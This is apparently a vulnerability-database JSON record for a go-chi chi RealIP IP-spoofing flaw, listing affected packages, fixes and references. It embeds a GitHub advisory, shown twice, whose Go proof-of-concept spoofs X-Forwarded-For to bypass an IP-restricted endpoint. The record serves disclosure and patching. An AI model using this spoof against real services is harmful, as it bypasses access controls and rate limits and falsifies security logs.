{"id":"CVE-2026-72815","aliases":["DEBIAN-CVE-2026-72815","EUVD-2026-58630","GHSA-3fxj-6jh8-hvhx","GHSA-qgxv-hqxp-4rcx","GO-2026-5774","RHSA-2026:49718","RHSA-2026:49732","RHSA-2026:50287","RHSA-2026:54420","UBUNTU-CVE-2026-72815","openSUSE-SU-2026:11607-1","openSUSE-SU-2026:11810-1","openSUSE-SU-2026:12297-1","openSUSE-SU-2026:21645-1","openSUSE-SU-2026:21653-1","openSUSE-SU-2026:21670-1","openSUSE-SU-2026:21793-1","openSUSE-SU-2026:21918-1"],"status":"published","title":"go-chi chi v5.2.1 IP Spoofing via X-Forwarded-For Header","description":"go-chi chi versions \u003e= 5.2.1 and before 5.3.0 contain an IP spoofing vulnerability in the RealIP middleware, which blindly trusts the first (leftmost) value of the X-Forwarded-For HTTP header. A remote attacker can bypass IP-based access control lists and rate-limiting mechanisms, and forge log entries, by supplying a spoofed IP address in the X-Forwarded-For header. The issue is fixed in version 5.3.0.","severity":{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00495,"percentile":0.42964,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-290","CWE-345"],"published":"2026-06-25T18:21:37Z","modified":"2026-11-04T04:00:03Z","exploits":[{"source":"pocgithub","id":"Saku0512/CVE-2026-72815-poc","title":"Saku0512/CVE-2026-72815-poc","date":"2026-09-10","url":"https://github.com/Saku0512/CVE-2026-72815-poc"}],"fixes":[{"ecosystem":"Go","package":"github.com/go-chi/chi/v5/middleware","fixed_in":["5.3.0"],"sources":["ghsa","osv"]},{"ecosystem":"Go","package":"github.com/go-chi/chi/v5","fixed_in":["5.3.0"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"golang-github-go-chi-chi","fixed_in":["5.3.0-1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"cloudflared","fixed_in":["2026.8.2-1.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/go-chi/chi/v5/middleware","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.2.1"},{"fixed":"5.3.0"}]}]},{"source":"ghsa","ecosystem":"Go","package":"github.com/go-chi/chi/v5","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.2.1"},{"fixed":"5.3.0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"golang-github-go-chi-chi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.0.7-1","5.1.0-1","5.2.0-1","5.2.3-1","5.2.5-1","5.3.0-1"]},{"source":"osv","ecosystem":"Debian:13","package":"golang-github-go-chi-chi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.2.0-1","5.2.3-1","5.2.5-1","5.3.0-1"]},{"source":"osv","ecosystem":"Debian:14","package":"golang-github-go-chi-chi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.3.0-1"}]}],"versions":["5.2.0-1","5.2.3-1","5.2.5-1"]},{"source":"osv","ecosystem":"Go","package":"github.com/go-chi/chi/v5/middleware","ranges":[{"type":"SEMVER","events":[{"introduced":"5.2.1"},{"fixed":"5.3.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/go-chi/chi/v5","ranges":[{"type":"SEMVER","events":[{"introduced":"5.2.1"},{"fixed":"5.3.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/go-chi/chi/v5","ranges":[{"type":"SEMVER","events":[{"introduced":"5.2.1"},{"fixed":"5.3.0"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"spire1.14","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.14.7-0.4.hum1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"spire1.14-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.14.7-0.4.hum1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"spire1.14-oidc-discovery-provider","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.14.7-0.4.hum1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"spire1.14-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.14.7-0.4.hum1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"spire1.15","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.2-0.4.hum1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"spire1.15-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.2-0.4.hum1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"spire1.15-oidc-discovery-provider","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.2-0.4.hum1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"spire1.15-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.2-0.4.hum1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"prometheus3.13","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.13.2-0.2.hum1"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"cosign","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.3-0.1.hum1"}]}],"bundled":3},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"golang-github-go-chi-chi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.5.1-2","5.0.7-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"golang-github-go-chi-chi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.0.7-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"golang-github-go-chi-chi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.2.0-1","5.2.3-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"cloudflared","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2026.8.2-1.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"warewulf4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.7.1-1.1"}]}],"bundled":2},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"kubectl-retina","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.1-1.1"}]}],"bundled":11},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"trivy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.74.0-160000.1.1"}]}],"bundled":3},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"v2ray-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.53.0-bp160.1.1"}]}],"bundled":5},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"cloudflared","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2026.8.2-bp160.1.1"}]}],"bundled":3},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"hauler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.0-bp160.1.1"}]}],"bundled":6},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"warewulf4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.7.1-bp160.1.1"}]}],"bundled":4}],"products":[{"vendor":"go-chi","product":"chi"}],"references":[{"url":"https://github.com/go-chi/chi/security/advisories/GHSA-3fxj-6jh8-hvhx","tags":["vendor-advisory","exploit","advisory","web","article","report"]},{"url":"https://www.vulncheck.com/advisories/go-chi-chi-ip-spoofing-via-x-forwarded-for-header","tags":["third-party-advisory","advisory","article","report"]},{"url":"https://github.com/go-chi/chi/pull/967","tags":["web","fix"]},{"url":"https://github.com/go-chi/chi/commit/3b171578ca44dfd75ca3c5cbddc7b44c600a7b49","tags":["web"]},{"url":"https://github.com/advisories/GHSA-3fxj-6jh8-hvhx"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-72815","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-qgxv-hqxp-4rcx"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/72xxx/CVE-2026-72815.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-72815","tags":["advisory"]},{"url":"https://github.com/go-chi/chi","tags":["package"]},{"url":"https://access.redhat.com/errata/RHSA-2026:49718","tags":["advisory"]},{"url":"https://images.redhat.com/","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-72816","tags":["report"]},{"url":"https://access.redhat.com/security/updates/classification/","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-72817","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-72815","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_49718.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2515988","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-72815","tags":["advisory","report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2515985","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-72816","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-72816","tags":["advisory"]},{"url":"https://github.com/go-chi/chi/security/advisories/GHSA-rjr7-jggh-pgcp","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/go-chi-chi-before-ip-spoofing-via-realip-middleware","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2516008","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-72817","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-72817","tags":["advisory"]},{"url":"https://github.com/go-chi/chi/security/advisories/GHSA-9g5q-2w5x-hmxf","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/go-chi-chi-before-ip-spoofing-via-x-forwarded-for","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:49732","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_49732.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:50287","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-69153","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-73086","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-73646","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50287.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510719","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-69153","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69153","tags":["advisory"]},{"url":"https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8","tags":["article"]},{"url":"https://github.com/postcss/postcss/releases/tag/8.5.19","tags":["article"]},{"url":"https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2514175","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-73086","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73086","tags":["advisory"]},{"url":"https://github.com/ai/nanoid/commit/7087969281cab8ba8ae3babf1894e819068b3bb4","tags":["article"]},{"url":"https://github.com/ai/nanoid/commit/821dfed7b5db7f88e92f56c60eef32c8135077c3","tags":["article"]},{"url":"https://github.com/ai/nanoid/commit/b0036ed60dc9facd7f1191a50dfb3076500202ac","tags":["article"]},{"url":"https://github.com/ai/nanoid/releases/tag/3.3.12","tags":["article"]},{"url":"https://github.com/ai/nanoid/releases/tag/5.1.11","tags":["article"]},{"url":"https://github.com/ai/nanoid/security/advisories/GHSA-xwg4-73v4-xw9w","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2517456","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-73646","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73646","tags":["advisory"]},{"url":"https://github.com/postcss/postcss/commit/95663d3eb7ba26f4854dd19d3b4f4425760cf56c","tags":["article"]},{"url":"https://github.com/postcss/postcss/releases/tag/8.5.18","tags":["article"]},{"url":"https://github.com/postcss/postcss/security/advisories/GHSA-r28c-9q8g-f849","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:54420","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_54420.json","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-72815","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72815","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72817","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-51744","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-22872","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-27144","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-30204","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-54410","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-58190","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33186","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34986","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53941","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-95838","tags":["web"]},{"url":"https://bugzilla.suse.com/1276128","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72816","tags":["web"]},{"url":"https://bugzilla.suse.com/1258546","tags":["report"]},{"url":"https://bugzilla.suse.com/1266787","tags":["report"]},{"url":"https://bugzilla.suse.com/1276119","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27017","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39821","tags":["web"]},{"url":"https://bugzilla.suse.com/1276196","tags":["report"]},{"url":"https://bugzilla.suse.com/1265425","tags":["report"]},{"url":"https://bugzilla.suse.com/1276124","tags":["report"]},{"url":"https://bugzilla.suse.com/1276651","tags":["report"]},{"url":"https://bugzilla.suse.com/1277965","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-37236","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41178","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41888","tags":["web"]},{"url":"https://bugzilla.suse.com/1262805","tags":["report"]},{"url":"https://bugzilla.suse.com/1276100","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-72815","title":"go-chi chi v5.2.1 IP Spoofing via X-Forwarded-For Header","description":"go-chi chi versions \u003e= 5.2.1 and before 5.3.0 contain an IP spoofing vulnerability in the RealIP middleware, which blindly trusts the first (leftmost) value of the X-Forwarded-For HTTP header. A remote attacker can bypass IP-based access control lists and rate-limiting mechanisms, and forge log entries, by supplying a spoofed IP address in the X-Forwarded-For header. The issue is fixed in version 5.3.0.","status":"published","published":"2026-08-14T11:35:27.496Z","modified":"2026-10-08T15:24:31.089Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-290"],"updated_at":"2026-11-02T14:19:51.663093Z"}],"euvd":[{"id":"EUVD-2026-58630","description":"go-chi chi versions \u003e= 5.2.1 and before 5.3.0 contain an IP spoofing vulnerability in the RealIP middleware, which blindly trusts the first (leftmost) value of the X-Forwarded-For HTTP header. A remote attacker can bypass IP-based access control lists and rate-limiting mechanisms, and forge log entries, by supplying a spoofed IP address in the X-Forwarded-For header. The issue is fixed in version 5.3.0.","status":"published","published":"2026-08-14T11:35:27Z","modified":"2026-10-08T15:24:31Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T17:27:31.218078Z"}],"ghsa":[{"id":"GHSA-3fxj-6jh8-hvhx","title":"chi Has an IP Spoofing Vulnerability in `middleware.RealIP`","description":"## Summary\nThe `RealIP` middleware in `go-chi/chi` is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the `X-Forwarded-For` HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header.\n\n## Details\nIn `middleware/realip.go`, the `realIP` function parses the `X-Forwarded-For` header and extracts the first comma-separated value:\n\n```go\nfunc realIP(r *http.Request) string {\n    // ...\n    } else if xff := r.Header.Get(xForwardedFor); xff != \"\" {\n        ip, _, _ = strings.Cut(xff, \",\")\n    }\n    // ...\n}\n```\n\nStandard practice for `X-Forwarded-For` is that each proxy appends the client's IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like `X-Forwarded-For: \u003cspoofed_ip\u003e, \u003cactual_proxy_ip\u003e`, and `go-chi/chi` will treat `\u003cspoofed_ip\u003e` as the source of the request.\n\n## Proof of Concept (PoC)\nThe following code demonstrates how an attacker can bypass an IP-based restriction.\n\n```go\npackage main\n\nimport (\n        \"fmt\"\n        \"net/http\"\n        \"net/http/httptest\"\n\n        \"github.com/go-chi/chi/v5\"\n        \"github.com/go-chi/chi/v5/middleware\"\n)\n\nfunc main() {\n        r := chi.NewRouter()\n\n        // Enable the vulnerable RealIP middleware\n        r.Use(middleware.RealIP)\n\n        // An endpoint that should be restricted to a specific administrator IP (1.2.3.4)\n        r.Get(\"/admin/secret\", func(w http.ResponseWriter, r *http.Request) {\n                clientIP := r.RemoteAddr\n                fmt.Printf(\"[Server] Request received from IP: %s\\n\", clientIP)\n\n                // Simulate IP-based access control\n                if clientIP == \"1.2.3.4\" {\n                        w.WriteHeader(http.StatusOK)\n                        w.Write([]byte(\"CONFIDENTIAL: The secret code is 42\\n\"))\n                } else {\n                        w.WriteHeader(http.StatusForbidden)\n                        w.Write([]byte(\"Access Denied: You are not an administrator.\\n\"))\n                }\n        })\n\n        // --- Attack Simulation ---\n        fmt.Println(\"--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---\")\n\n        // 1. Normal Request (Should be denied)\n        req1, _ := http.NewRequest(\"GET\", \"/admin/secret\", nil)\n        rr1 := httptest.NewRecorder()\n        r.ServeHTTP(rr1, req1)\n        fmt.Printf(\"[Client] Normal Request -\u003e Status: %d, Body: %s\", rr1.Code, rr1.Body.String())\n\n        // 2. Spoofed Request (Using X-Forwarded-For)\n        // Attacker claims to be '1.2.3.4'\n        req2, _ := http.NewRequest(\"GET\", \"/admin/secret\", nil)\n        req2.Header.Set(\"X-Forwarded-For\", \"1.2.3.4, 5.6.7.8\") // 5.6.7.8 is a fake proxy IP\n        rr2 := httptest.NewRecorder()\n        r.ServeHTTP(rr2, req2)\n        fmt.Printf(\"[Client] Spoofed Request -\u003e Status: %d, Body: %s\", rr2.Code, rr2.Body.String())\n}\n```\n\n## Impact\nAn attacker can masquerade as any IP address. This can lead to:\n- **Bypass of Authentication/Authorization:** Accessing administrative panels or private APIs restricted by IP.\n- **Rate Limiting Evasion:** Circumbeting rate limiters that use `RemoteAddr` as a key.\n- **Log Forgery:** Causing incorrect IP addresses to be recorded in security logs.\n\n## CWE\n- **CWE-290:** Authentication Bypass by Spoofing\n- **CWE-345:** Insufficient Verification of Data Authenticity\n\n## CVSS Score\n- **CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N** (6.9 Moderate)\n\n## Affected Versions\n- `github.com/go-chi/chi/v5` \u003c= `v5.2.1` (and all previous versions)\n\n## Recommendation\n1.  **Stop using `middleware.RealIP`** if you cannot guarantee that the incoming request headers are from a trusted source and have been sanitized by a proxy.\n2.  Implement a trust-based IP extraction mechanism that verifies the chain of proxies.\n3.  Use the `X-Forwarded-For` header by traversing it from **right to left** and stopping at the first IP address that is not in your list of trusted proxies.\n\n## Suggested Fix\nA secure implementation of `RealIP` should allow developers to specify a list of trusted proxy IP ranges (CIDRs). Below is a conceptual example of how to fix this by traversing the `X-Forwarded-For` header from right to left:\n\n```go\nfunc GetClientIP(r *http.Request, trustedProxies []net.IPNet) string {\n        xff := r.Header.Get(\"X-Forwarded-For\")\n        if xff == \"\" {\n                return r.RemoteAddr\n        }\n\n        ips := strings.Split(xff, \",\")\n        // Traverse from right to left\n        for i := len(ips) - 1; i \u003e= 0; i-- {\n                ipStr := strings.TrimSpace(ips[i])\n                ip := net.ParseIP(ipStr)\n                if ip == nil {\n                        continue\n                }\n\n                if !isTrustedProxy(ip, trustedProxies) {\n                        return ipStr\n                }\n        }\n\n        return r.RemoteAddr\n}\n\nfunc isTrustedProxy(ip net.IP, trustedProxies []net.IPNet) bool {\n        for _, network := range trustedProxies {\n                if network.Contains(ip) {\n                        return true\n                }\n        }\n        return false\n}\n```\n\nBy providing a configuration like `middleware.RealIPWithConfig(Config{TrustedProxies: []string{\"10.0.0.0/8\"}})` , the middleware can safely identify the true client IP even in complex proxy environments.","status":"published","published":"2026-06-25T18:21:37Z","modified":"2026-11-04T03:49:26Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-290","CWE-345"],"updated_at":"2026-11-04T03:52:50.391589Z"},{"id":"GHSA-qgxv-hqxp-4rcx","title":"go-chi chi versions \u003e= 5.2.1 and before 5.3.0 contain an IP spoofing vulnerability in the RealIP...","description":"go-chi chi versions \u003e= 5.2.1 and before 5.3.0 contain an IP spoofing vulnerability in the RealIP middleware, which blindly trusts the first (leftmost) value of the X-Forwarded-For HTTP header. A remote attacker can bypass IP-based access control lists and rate-limiting mechanisms, and forge log entries, by supplying a spoofed IP address in the X-Forwarded-For header. The issue is fixed in version 5.3.0.","status":"published","published":"2026-08-14T12:31:25Z","modified":"2026-08-14T12:31:25Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"cwes":["CWE-290"],"updated_at":"2026-11-02T15:10:28.576497Z"}],"nvd":[{"id":"CVE-2026-72815","description":"go-chi chi versions \u003e= 5.2.1 and before 5.3.0 contain an IP spoofing vulnerability in the RealIP middleware, which blindly trusts the first (leftmost) value of the X-Forwarded-For HTTP header. A remote attacker can bypass IP-based access control lists and rate-limiting mechanisms, and forge log entries, by supplying a spoofed IP address in the X-Forwarded-For header. The issue is fixed in version 5.3.0.","status":"published","published":"2026-08-14T12:16:44.507Z","modified":"2026-10-08T16:17:35.65Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"}],"cwes":["CWE-290"],"updated_at":"2026-11-02T14:12:37.557758Z"}],"osv":[{"id":"CVE-2026-72815","title":"go-chi chi v5.2.1 IP Spoofing via X-Forwarded-For Header","description":"go-chi chi versions \u003e= 5.2.1 and before 5.3.0 contain an IP spoofing vulnerability in the RealIP middleware, which blindly trusts the first (leftmost) value of the X-Forwarded-For HTTP header. A remote attacker can bypass IP-based access control lists and rate-limiting mechanisms, and forge log entries, by supplying a spoofed IP address in the X-Forwarded-For header. The issue is fixed in version 5.3.0.","status":"published","published":"2026-08-14T11:35:27.496Z","modified":"2026-10-28T17:27:15.771641401Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-290"],"updated_at":"2026-11-02T15:45:15.88521Z"},{"id":"DEBIAN-CVE-2026-72815","description":"go-chi chi versions \u003e= 5.2.1 and before 5.3.0 contain an IP spoofing vulnerability in the RealIP middleware, which blindly trusts the first (leftmost) value of the X-Forwarded-For HTTP header. A remote attacker can bypass IP-based access control lists and rate-limiting mechanisms, and forge log entries, by supplying a spoofed IP address in the X-Forwarded-For header. The issue is fixed in version 5.3.0.","status":"published","published":"2026-08-14T12:16:44.507Z","modified":"2026-10-09T09:47:31.322244307Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"updated_at":"2026-11-02T15:46:02.499355Z"},{"id":"GHSA-3fxj-6jh8-hvhx","title":"chi Has an IP Spoofing Vulnerability in `middleware.RealIP`","description":"## Summary\nThe `RealIP` middleware in `go-chi/chi` is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the `X-Forwarded-For` HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header.\n\n## Details\nIn `middleware/realip.go`, the `realIP` function parses the `X-Forwarded-For` header and extracts the first comma-separated value:\n\n```go\nfunc realIP(r *http.Request) string {\n    // ...\n    } else if xff := r.Header.Get(xForwardedFor); xff != \"\" {\n        ip, _, _ = strings.Cut(xff, \",\")\n    }\n    // ...\n}\n```\n\nStandard practice for `X-Forwarded-For` is that each proxy appends the client's IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like `X-Forwarded-For: \u003cspoofed_ip\u003e, \u003cactual_proxy_ip\u003e`, and `go-chi/chi` will treat `\u003cspoofed_ip\u003e` as the source of the request.\n\n## Proof of Concept (PoC)\nThe following code demonstrates how an attacker can bypass an IP-based restriction.\n\n```go\npackage main\n\nimport (\n        \"fmt\"\n        \"net/http\"\n        \"net/http/httptest\"\n\n        \"github.com/go-chi/chi/v5\"\n        \"github.com/go-chi/chi/v5/middleware\"\n)\n\nfunc main() {\n        r := chi.NewRouter()\n\n        // Enable the vulnerable RealIP middleware\n        r.Use(middleware.RealIP)\n\n        // An endpoint that should be restricted to a specific administrator IP (1.2.3.4)\n        r.Get(\"/admin/secret\", func(w http.ResponseWriter, r *http.Request) {\n                clientIP := r.RemoteAddr\n                fmt.Printf(\"[Server] Request received from IP: %s\\n\", clientIP)\n\n                // Simulate IP-based access control\n                if clientIP == \"1.2.3.4\" {\n                        w.WriteHeader(http.StatusOK)\n                        w.Write([]byte(\"CONFIDENTIAL: The secret code is 42\\n\"))\n                } else {\n                        w.WriteHeader(http.StatusForbidden)\n                        w.Write([]byte(\"Access Denied: You are not an administrator.\\n\"))\n                }\n        })\n\n        // --- Attack Simulation ---\n        fmt.Println(\"--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---\")\n\n        // 1. Normal Request (Should be denied)\n        req1, _ := http.NewRequest(\"GET\", \"/admin/secret\", nil)\n        rr1 := httptest.NewRecorder()\n        r.ServeHTTP(rr1, req1)\n        fmt.Printf(\"[Client] Normal Request -\u003e Status: %d, Body: %s\", rr1.Code, rr1.Body.String())\n\n        // 2. Spoofed Request (Using X-Forwarded-For)\n        // Attacker claims to be '1.2.3.4'\n        req2, _ := http.NewRequest(\"GET\", \"/admin/secret\", nil)\n        req2.Header.Set(\"X-Forwarded-For\", \"1.2.3.4, 5.6.7.8\") // 5.6.7.8 is a fake proxy IP\n        rr2 := httptest.NewRecorder()\n        r.ServeHTTP(rr2, req2)\n        fmt.Printf(\"[Client] Spoofed Request -\u003e Status: %d, Body: %s\", rr2.Code, rr2.Body.String())\n}\n```\n\n## Impact\nAn attacker can masquerade as any IP address. This can lead to:\n- **Bypass of Authentication/Authorization:** Accessing administrative panels or private APIs restricted by IP.\n- **Rate Limiting Evasion:** Circumbeting rate limiters that use `RemoteAddr` as a key.\n- **Log Forgery:** Causing incorrect IP addresses to be recorded in security logs.\n\n## CWE\n- **CWE-290:** Authentication Bypass by Spoofing\n- **CWE-345:** Insufficient Verification of Data 